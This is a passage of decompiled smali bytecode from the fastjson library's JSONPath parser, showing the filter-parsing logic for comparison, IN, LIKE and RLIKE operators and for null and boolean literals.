                                                101invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->readName()Ljava/lang/String;
                                                102move-result-object v8
                                                104invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->skipWhitespace()V
                                                105const/16 v7, 0x29
                                                106if-eqz v0, :cond_bd
                                                107iget-char v9, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->ch:C
                                                108if-ne v9, v7, :cond_bd
                                                110invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->next()V
                                                111if-eqz p1, :cond_b2
                                                113invoke-virtual {p0, v6}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                114cond_b2: new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                115new-instance v0, Lcom/alibaba/fastjson/JSONPath$NotNullSegement;
                                                117invoke-direct {v0, v8}, Lcom/alibaba/fastjson/JSONPath$NotNullSegement;-><init>(Ljava/lang/String;)V
                                                119invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                120return-object p1
                                                121cond_bd: if-eqz p1, :cond_d1
                                                122iget-char v9, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->ch:C
                                                123if-ne v9, v6, :cond_d1
                                                125invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->next()V
                                                126new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                127new-instance v0, Lcom/alibaba/fastjson/JSONPath$NotNullSegement;
                                                129invoke-direct {v0, v8}, Lcom/alibaba/fastjson/JSONPath$NotNullSegement;-><init>(Ljava/lang/String;)V
                                                131invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                132return-object p1
                                                133cond_d1:
                                                134invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->readOp()Lcom/alibaba/fastjson/JSONPath$Operator;
                                                135move-result-object v9
                                                137invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->skipWhitespace()V
                                                139sget-object v10, Lcom/alibaba/fastjson/JSONPath$Operator;->BETWEEN:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                140if-eq v9, v10, :cond_40f
                                                142sget-object v10, Lcom/alibaba/fastjson/JSONPath$Operator;->NOT_BETWEEN:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                143if-ne v9, v10, :cond_e2
                                                144goto/16 :goto_40f
                                                145cond_e2:
                                                146sget-object v10, Lcom/alibaba/fastjson/JSONPath$Operator;->IN:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                147if-eq v9, v10, :cond_2d0
                                                149sget-object v10, Lcom/alibaba/fastjson/JSONPath$Operator;->NOT_IN:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                150if-ne v9, v10, :cond_ec
                                                151goto/16 :goto_2d0
                                                152cond_ec: iget-char v2, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->ch:C
                                                153const/16 v10, 0x27
                                                154if-eq v2, v10, :cond_1f6
                                                155const/16 v10, 0x22
                                                156if-ne v2, v10, :cond_f8
                                                157goto/16 :goto_1f6
                                                158cond_f8:
                                                159invoke-static {v2}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->isDigitFirst(C)Z
                                                160move-result v1
                                                161if-eqz v1, :cond_132
                                                163invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->readLongValue()J
                                                164move-result-wide v1
                                                165iget-char v4, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->ch:C
                                                166const-wide/16 v10, 0x0
                                                167if-ne v4, v3, :cond_10d
                                                169invoke-virtual {p0, v1, v2}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->readDoubleValue(J)D
                                                170move-result-wide v3
                                                171goto/16 :goto_10e
                                                172cond_10d: move-wide v3, v10
                                                173goto_10e: if-eqz v0, :cond_113
                                                175invoke-virtual {p0, v7}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                176cond_113: if-eqz p1, :cond_118
                                                178invoke-virtual {p0, v6}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                179cond_118: cmpl-double p1, v3, v10
                                                180if-nez p1, :cond_127
                                                181new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                182new-instance v0, Lcom/alibaba/fastjson/JSONPath$IntOpSegement;
                                                184invoke-direct {v0, v8, v1, v2, v9}, Lcom/alibaba/fastjson/JSONPath$IntOpSegement;-><init>(Ljava/lang/String;JLcom/alibaba/fastjson/JSONPath$Operator;)V
                                                186invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                187return-object p1
                                                188cond_127: new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                189new-instance v0, Lcom/alibaba/fastjson/JSONPath$DoubleOpSegement;
                                                191invoke-direct {v0, v8, v3, v4, v9}, Lcom/alibaba/fastjson/JSONPath$DoubleOpSegement;-><init>(Ljava/lang/String;DLcom/alibaba/fastjson/JSONPath$Operator;)V
                                                193invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                194return-object p1
                                                195cond_132: iget-char p1, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->ch:C
                                                196const/16 v1, 0x6e
                                                197if-ne p1, v1, :cond_170
                                                199invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->readName()Ljava/lang/String;
                                                200move-result-object p1
                                                202const-string v1, "null"
                                                204invoke-virtual {v1, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                205move-result p1
                                                206if-eqz p1, :cond_1f0
                                                207if-eqz v0, :cond_149
                                                209invoke-virtual {p0, v7}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                210cond_149:
                                                211invoke-virtual {p0, v6}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                213sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->EQ:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                214if-ne v9, p1, :cond_15b
                                                215new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                216new-instance v0, Lcom/alibaba/fastjson/JSONPath$NullSegement;
                                                218invoke-direct {v0, v8}, Lcom/alibaba/fastjson/JSONPath$NullSegement;-><init>(Ljava/lang/String;)V
                                                220invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                221return-object p1
                                                222cond_15b:
                                                223sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->NE:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                224if-ne v9, p1, :cond_16a
                                                225new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                226new-instance v0, Lcom/alibaba/fastjson/JSONPath$NotNullSegement;
                                                228invoke-direct {v0, v8}, Lcom/alibaba/fastjson/JSONPath$NotNullSegement;-><init>(Ljava/lang/String;)V
                                                230invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                231return-object p1
                                                232cond_16a: new-instance p1, Ljava/lang/UnsupportedOperationException;
                                                234invoke-direct {p1}, Ljava/lang/UnsupportedOperationException;-><init>()V
                                                235throw p1
                                                236cond_170: const/16 v1, 0x74
                                                237if-ne p1, v1, :cond_1b0
                                                239invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->readName()Ljava/lang/String;
                                                240move-result-object p1
                                                242const-string v1, "true"
                                                244invoke-virtual {v1, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                245move-result p1
                                                246if-eqz p1, :cond_1f0
                                                247if-eqz v0, :cond_185
                                                249invoke-virtual {p0, v7}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                250cond_185:
                                                251invoke-virtual {p0, v6}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                253sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->EQ:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                254if-ne v9, p1, :cond_199
                                                255new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                256new-instance v0, Lcom/alibaba/fastjson/JSONPath$ValueSegment;
                                                258sget-object v1, Ljava/lang/Boolean;->TRUE:Ljava/lang/Boolean;
                                                260invoke-direct {v0, v8, v1, v5}, Lcom/alibaba/fastjson/JSONPath$ValueSegment;-><init>(Ljava/lang/String;Ljava/lang/Object;Z)V
                                                262invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                263return-object p1
                                                264cond_199:
                                                265sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->NE:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                266if-ne v9, p1, :cond_1aa
                                                267new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                268new-instance v0, Lcom/alibaba/fastjson/JSONPath$ValueSegment;
                                                270sget-object v1, Ljava/lang/Boolean;->TRUE:Ljava/lang/Boolean;
                                                272invoke-direct {v0, v8, v1, v4}, Lcom/alibaba/fastjson/JSONPath$ValueSegment;-><init>(Ljava/lang/String;Ljava/lang/Object;Z)V
                                                274invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                275return-object p1
                                                276cond_1aa: new-instance p1, Ljava/lang/UnsupportedOperationException;
                                                278invoke-direct {p1}, Ljava/lang/UnsupportedOperationException;-><init>()V
                                                279throw p1
                                                280cond_1b0: const/16 v1, 0x66
                                                281if-ne p1, v1, :cond_1f0
                                                283invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->readName()Ljava/lang/String;
                                                284move-result-object p1
                                                286const-string v1, "false"
                                                288invoke-virtual {v1, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                289move-result p1
                                                290if-eqz p1, :cond_1f0
                                                291if-eqz v0, :cond_1c5
                                                293invoke-virtual {p0, v7}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                294cond_1c5:
                                                295invoke-virtual {p0, v6}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                297sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->EQ:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                298if-ne v9, p1, :cond_1d9
                                                299new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                300new-instance v0, Lcom/alibaba/fastjson/JSONPath$ValueSegment;
                                                302sget-object v1, Ljava/lang/Boolean;->FALSE:Ljava/lang/Boolean;
                                                304invoke-direct {v0, v8, v1, v5}, Lcom/alibaba/fastjson/JSONPath$ValueSegment;-><init>(Ljava/lang/String;Ljava/lang/Object;Z)V
                                                306invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                307return-object p1
                                                308cond_1d9:
                                                309sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->NE:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                310if-ne v9, p1, :cond_1ea
                                                311new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                312new-instance v0, Lcom/alibaba/fastjson/JSONPath$ValueSegment;
                                                314sget-object v1, Ljava/lang/Boolean;->FALSE:Ljava/lang/Boolean;
                                                316invoke-direct {v0, v8, v1, v4}, Lcom/alibaba/fastjson/JSONPath$ValueSegment;-><init>(Ljava/lang/String;Ljava/lang/Object;Z)V
                                                318invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                319return-object p1
                                                320cond_1ea: new-instance p1, Ljava/lang/UnsupportedOperationException;
                                                322invoke-direct {p1}, Ljava/lang/UnsupportedOperationException;-><init>()V
                                                323throw p1
                                                324cond_1f0: new-instance p1, Ljava/lang/UnsupportedOperationException;
                                                326invoke-direct {p1}, Ljava/lang/UnsupportedOperationException;-><init>()V
                                                327throw p1
                                                328cond_1f6:
                                                329invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->readString()Ljava/lang/String;
                                                330move-result-object v2
                                                331if-eqz v0, :cond_1ff
                                                333invoke-virtual {p0, v7}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                334cond_1ff: if-eqz p1, :cond_204
                                                336invoke-virtual {p0, v6}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                337cond_204:
                                                338sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->RLIKE:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                339if-ne v9, p1, :cond_213
                                                340new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                341new-instance v0, Lcom/alibaba/fastjson/JSONPath$RlikeSegement;
                                                343invoke-direct {v0, v8, v2, v4}, Lcom/alibaba/fastjson/JSONPath$RlikeSegement;-><init>(Ljava/lang/String;Ljava/lang/String;Z)V
                                                345invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                346return-object p1
                                                347cond_213:
                                                348sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->NOT_RLIKE:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                349if-ne v9, p1, :cond_222
                                                350new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                351new-instance v0, Lcom/alibaba/fastjson/JSONPath$RlikeSegement;
                                                353invoke-direct {v0, v8, v2, v5}, Lcom/alibaba/fastjson/JSONPath$RlikeSegement;-><init>(Ljava/lang/String;Ljava/lang/String;Z)V
                                                355invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                356return-object p1
                                                357cond_222:
                                                358sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->LIKE:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                359if-eq v9, p1, :cond_22a
                                                361sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->NOT_LIKE:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                362if-ne v9, p1, :cond_251
                                                363goto_22a:
                                                364const-string p1, "%%"
                                                366invoke-virtual {v2, p1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
                                                367move-result v0
                                                369const-string v3, "%"
                                                370if-eq v0, v1, :cond_239
                                                372invoke-virtual {v2, p1, v3}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                373move-result-object v2
                                                374goto/16 :goto_22a
                                                375cond_239:
                                                376sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->NOT_LIKE:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                377if-ne v9, p1, :cond_23f
                                                378const/4 v12, 0x1
                                                379goto/16 :goto_240
                                                380cond_23f: const/4 v12, 0x0
                                                381goto_240: const/16 p1, 0x25
                                                383invoke-virtual {v2, p1}, Ljava/lang/String;->indexOf(I)I
                                                384move-result v0
                                                385if-ne v0, v1, :cond_25c
                                                387sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->LIKE:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                388if-ne v9, p1, :cond_24f
                                                390sget-object v9, Lcom/alibaba/fastjson/JSONPath$Operator;->EQ:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                391goto/16 :goto_251
                                                392cond_24f:
                                                393sget-object v9, Lcom/alibaba/fastjson/JSONPath$Operator;->NE:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                394cond_251: new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                395new-instance v0, Lcom/alibaba/fastjson/JSONPath$StringOpSegement;
                                                397invoke-direct {v0, v8, v2, v9}, Lcom/alibaba/fastjson/JSONPath$StringOpSegement;-><init>(Ljava/lang/String;Ljava/lang/String;Lcom/alibaba/fastjson/JSONPath$Operator;)V
                                                399invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                400return-object p1
                                                401cond_25c:
                                                402invoke-virtual {v2, v3}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                                                403move-result-object v1
                                                404const/4 v3, 0x0
                                                405const/4 v6, 0x2
                                                406if-nez v0, :cond_290
                                                408invoke-virtual {v2}, Ljava/lang/String;->length()I
                                                409move-result v0
                                                410sub-int/2addr v0, v5
                                                412invoke-virtual {v2, v0}, Ljava/lang/String;->charAt(I)C
                                                413move-result v0
                                                414if-ne v0, p1, :cond_279
                                                415array-length p1, v1
                                                416sub-int/2addr p1, v5
                                                417new-array p1, p1, [Ljava/lang/String;
                                                418array-length v0, p1
                                                420invoke-static {v1, v5, p1, v4, v0}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                421move-object v11, p1
                                                422goto/16 :goto_29c
                                                423cond_279: array-length p1, v1
                                                424sub-int/2addr p1, v5
                                                425aget-object p1, v1, p1
                                                426array-length v0, v1
                                                427if-le v0, v6, :cond_28c
                                                428array-length v0, v1
                                                429sub-int/2addr v0, v6
                                                430new-array v0, v0, [Ljava/lang/String;
                                                431array-length v2, v0
                                                433invoke-static {v1, v5, v0, v4, v2}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                434move-object v10, p1
                                                435move-object v11, v0
                                                436move-object v9, v3
                                                437goto/16 :goto_2c4
                                                438cond_28c: move-object v10, p1
                                                439move-object v9, v3
                                                440move-object v11, v9
                                                441goto/16 :goto_2c4
                                                442cond_290:
                                                443invoke-virtual {v2}, Ljava/lang/String;->length()I
                                                444move-result v0
                                                445sub-int/2addr v0, v5
                                                447invoke-virtual {v2, v0}, Ljava/lang/String;->charAt(I)C
                                                448move-result v0
                                                449if-ne v0, p1, :cond_29f
                                                450move-object v11, v1
                                                451goto_29c: move-object v9, v3
                                                452move-object v10, v9
                                                453goto/16 :goto_2c4
                                                454cond_29f: array-length p1, v1
                                                455if-ne p1, v5, :cond_2a8
                                                456aget-object p1, v1, v4
                                                457move-object v9, p1
                                                458move-object v10, v3
                                                459move-object v11, v10
                                                460goto/16 :goto_2c4
                                                461cond_2a8: array-length p1, v1
                                                462if-ne p1, v6, :cond_2b3
                                                463aget-object p1, v1, v4
                                                464aget-object v0, v1, v5
                                                465move-object v9, p1
                                                466move-object v10, v0
                                                467move-object v11, v3
                                                468goto/16 :goto_2c4
                                                469cond_2b3: aget-object p1, v1, v4
                                                470array-length v0, v1
                                                471sub-int/2addr v0, v5
                                                472aget-object v0, v1, v0
                                                473array-length v2, v1
                                                474sub-int/2addr v2, v6
                                                475new-array v2, v2, [Ljava/lang/String;
                                                476array-length v3, v2
                                                478invoke-static {v1, v5, v2, v4, v3}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                479move-object v9, p1
                                                480move-object v10, v0
                                                481move-object v11, v2
                                                482goto_2c4: new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                483new-instance v0, Lcom/alibaba/fastjson/JSONPath$MatchSegement;
                                                484move-object v7, v0
                                                486invoke-direct/range {v7 .. v12}, Lcom/alibaba/fastjson/JSONPath$MatchSegement;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Z)V
                                                488invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                489return-object p1
                                                490goto_2d0:
                                                491sget-object v1, Lcom/alibaba/fastjson/JSONPath$Operator;->NOT_IN:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                492if-ne v9, v1, :cond_2d6
                                                493const/4 v1, 0x1
                                                494goto/16 :goto_2d7
                                                495cond_2d6: const/4 v1, 0x0
                                                496goto_2d7:
                                                497invoke-virtual {p0, v2}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                498new-instance v2, Lcom/alibaba/fastjson/JSONArray;
                                                500invoke-direct {v2}, Lcom/alibaba/fastjson/JSONArray;-><init>()V
                                                502invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->readValue()Ljava/lang/Object;
                                                503move-result-object v3
                                                505invoke-interface {v2, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                506goto_2e6:
                                                507invoke-virtual {p0}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->skipWhitespace()V
                                                508iget-char v3, p0, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->ch:C
                                                509const/16 v9, 0x2c
                                                510if-eq v3, v9, :cond_403
                                                512invoke-virtual {p0, v7}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                513if-eqz v0, :cond_2f7
                                                515invoke-virtual {p0, v7}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                516cond_2f7: if-eqz p1, :cond_2fc
                                                518invoke-virtual {p0, v6}, Lcom/alibaba/fastjson/JSONPath$JSONPathParser;->accept(C)V
                                                519cond_2fc:
                                                520invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                                521move-result-object p1
                                                522const/4 v0, 0x1
                                                523const/4 v3, 0x1
                                                524const/4 v6, 0x1
                                                525cond_303:
                                                526invoke-interface {p1}, Ljava/util/Iterator;->hasNext()Z
                                                527move-result v7
                                                528if-eqz v7, :cond_333
                                                530invoke-interface {p1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                531move-result-object v7
                                                532if-nez v7, :cond_313
                                                533if-eqz v0, :cond_303
                                                534const/4 v0, 0x0
                                                535goto/16 :goto_303
                                                536cond_313:
                                                537invoke-virtual {v7}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                538move-result-object v7
                                                539if-eqz v0, :cond_32b
                                                540const-class v9, Ljava/lang/Byte;
                                                541if-eq v7, v9, :cond_32b
                                                542const-class v9, Ljava/lang/Short;
                                                543if-eq v7, v9, :cond_32b
                                                544const-class v9, Ljava/lang/Integer;
                                                545if-eq v7, v9, :cond_32b
                                                546const-class v9, Ljava/lang/Long;
                                                547if-eq v7, v9, :cond_32b
                                                548const/4 v0, 0x0
                                                549const/4 v6, 0x0
                                                550cond_32b: if-eqz v3, :cond_303
                                                551const-class v9, Ljava/lang/String;
                                                552if-eq v7, v9, :cond_303
                                                553const/4 v3, 0x0
                                                554goto/16 :goto_303
                                                555cond_333:
                                                556invoke-interface {v2}, Ljava/util/List;->size()I
                                                557move-result p1
                                                558if-ne p1, v5, :cond_357
                                                560invoke-interface {v2, v4}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                                561move-result-object p1
                                                562if-nez p1, :cond_357
                                                563if-eqz v1, :cond_34c
                                                564new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                565new-instance v0, Lcom/alibaba/fastjson/JSONPath$NotNullSegement;
                                                567invoke-direct {v0, v8}, Lcom/alibaba/fastjson/JSONPath$NotNullSegement;-><init>(Ljava/lang/String;)V
                                                569invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                570return-object p1
                                                571cond_34c: new-instance p1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                572new-instance v0, Lcom/alibaba/fastjson/JSONPath$NullSegement;
                                                574invoke-direct {v0, v8}, Lcom/alibaba/fastjson/JSONPath$NullSegement;-><init>(Ljava/lang/String;)V
                                                576invoke-direct {p1, v0}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                577return-object p1
                                                578cond_357: if-eqz v0, :cond_39e
                                                580invoke-interface {v2}, Ljava/util/List;->size()I
                                                581move-result p1
                                                582if-ne p1, v5, :cond_37b
                                                584invoke-interface {v2, v4}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                                585move-result-object p1
                                                586check-cast p1, Ljava/lang/Number;
                                                588invoke-virtual {p1}, Ljava/lang/Number;->longValue()J
                                                589move-result-wide v2
                                                590if-eqz v1, :cond_36e
                                                592sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->NE:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                593goto/16 :goto_370
                                                594cond_36e:
                                                595sget-object p1, Lcom/alibaba/fastjson/JSONPath$Operator;->EQ:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                596goto_370: new-instance v0, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                597new-instance v1, Lcom/alibaba/fastjson/JSONPath$IntOpSegement;
                                                599invoke-direct {v1, v8, v2, v3, p1}, Lcom/alibaba/fastjson/JSONPath$IntOpSegement;-><init>(Ljava/lang/String;JLcom/alibaba/fastjson/JSONPath$Operator;)V
                                                601invoke-direct {v0, v1}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                602return-object v0
                                                603cond_37b:
                                                604invoke-interface {v2}, Ljava/util/List;->size()I
                                                605move-result p1
                                                606new-array p1, p1, [J
                                                607goto_381: array-length v0, p1
                                                608if-ge v4, v0, :cond_393
                                                610invoke-interface {v2, v4}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                                611move-result-object v0
                                                612check-cast v0, Ljava/lang/Number;
                                                614invoke-virtual {v0}, Ljava/lang/Number;->longValue()J
                                                615move-result-wide v5
                                                616aput-wide v5, p1, v4
                                                617add-int/lit8 v4, v4, 0x1
                                                618goto/16 :goto_381
                                                619cond_393: new-instance v0, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                620new-instance v2, Lcom/alibaba/fastjson/JSONPath$IntInSegement;
                                                622invoke-direct {v2, v8, p1, v1}, Lcom/alibaba/fastjson/JSONPath$IntInSegement;-><init>(Ljava/lang/String;[JZ)V
                                                624invoke-direct {v0, v2}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                625return-object v0
                                                626cond_39e: if-eqz v3, :cond_3d2
                                                628invoke-interface {v2}, Ljava/util/List;->size()I
                                                629move-result p1
                                                630if-ne p1, v5, :cond_3be
                                                632invoke-interface {v2, v4}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                                633move-result-object p1
                                                634check-cast p1, Ljava/lang/String;
                                                635if-eqz v1, :cond_3b1
                                                637sget-object v0, Lcom/alibaba/fastjson/JSONPath$Operator;->NE:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                638goto/16 :goto_3b3
                                                639cond_3b1:
                                                640sget-object v0, Lcom/alibaba/fastjson/JSONPath$Operator;->EQ:Lcom/alibaba/fastjson/JSONPath$Operator;
                                                641goto_3b3: new-instance v1, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                642new-instance v2, Lcom/alibaba/fastjson/JSONPath$StringOpSegement;
                                                644invoke-direct {v2, v8, p1, v0}, Lcom/alibaba/fastjson/JSONPath$StringOpSegement;-><init>(Ljava/lang/String;Ljava/lang/String;Lcom/alibaba/fastjson/JSONPath$Operator;)V
                                                646invoke-direct {v1, v2}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                647return-object v1
                                                648cond_3be:
                                                649invoke-interface {v2}, Ljava/util/List;->size()I
                                                650move-result p1
                                                651new-array p1, p1, [Ljava/lang/String;
                                                653invoke-interface {v2, p1}, Ljava/util/List;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
                                                654new-instance v0, Lcom/alibaba/fastjson/JSONPath$FilterSegement;
                                                655new-instance v2, Lcom/alibaba/fastjson/JSONPath$StringInSegement;
                                                657invoke-direct {v2, v8, p1, v1}, Lcom/alibaba/fastjson/JSONPath$StringInSegement;-><init>(Ljava/lang/String;[Ljava/lang/String;Z)V
                                                659invoke-direct {v0, v2}, Lcom/alibaba/fastjson/JSONPath$FilterSegement;-><init>(Lcom/alibaba/fastjson/JSONPath$Filter;)V
                                                660return-object v0
                                                661cond_3d2: if-eqz v6, :cond_3fd
                                                663invoke-interface {v2}, Ljava/util/List;->size()I
                                                664move-result p1
                                                665new-array p1, p1, [Ljava/lang/Long;
                                                666goto_3da: array-length v0, p1
                                                667if-ge v4, v0, :cond_3f2
                                                669invoke-interface {v2, v4}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                                670move-result-object v0
                                                671check-cast v0, Ljava/lang/Number;
                                                672if-eqz v0, :cond_3ef
                                                674invoke-virtual {v0}, Ljava/lang/Number;->longValue()J
                                                675move-result-wide v5
                                                677invoke-static {v5, v6}, Ljava/lang/Long;->valueOf(J)Ljava/lang/Long;
